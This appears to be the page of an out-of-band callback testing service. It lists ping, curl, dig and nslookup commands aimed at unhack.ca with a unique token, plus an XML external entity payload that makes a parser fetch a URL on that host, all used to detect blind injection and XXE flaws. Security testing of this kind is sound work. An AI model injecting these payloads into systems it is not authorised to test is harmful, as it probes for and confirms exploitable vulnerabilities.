$ ping -c1 -p 0055b53abadc3fac6f7c6a5842b63f00 unhack.ca
 
$ curl http://unhack.ca/p/55b53abadc3fac6f7c6a5842b63f
 
$ dig 55b53abadc3fac6f7c6a5842b63f @unhack.ca
 
$ dig 55b53abadc3fac6f7c6a5842b63f.ns.unhack.ca
 
C:\> nslookup 55b53abadc3fac6f7c6a5842b63f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/55b53abadc3fac6f7c6a5842b63f">]>
    <foo>&xxe;</foo>
Waiting for ping...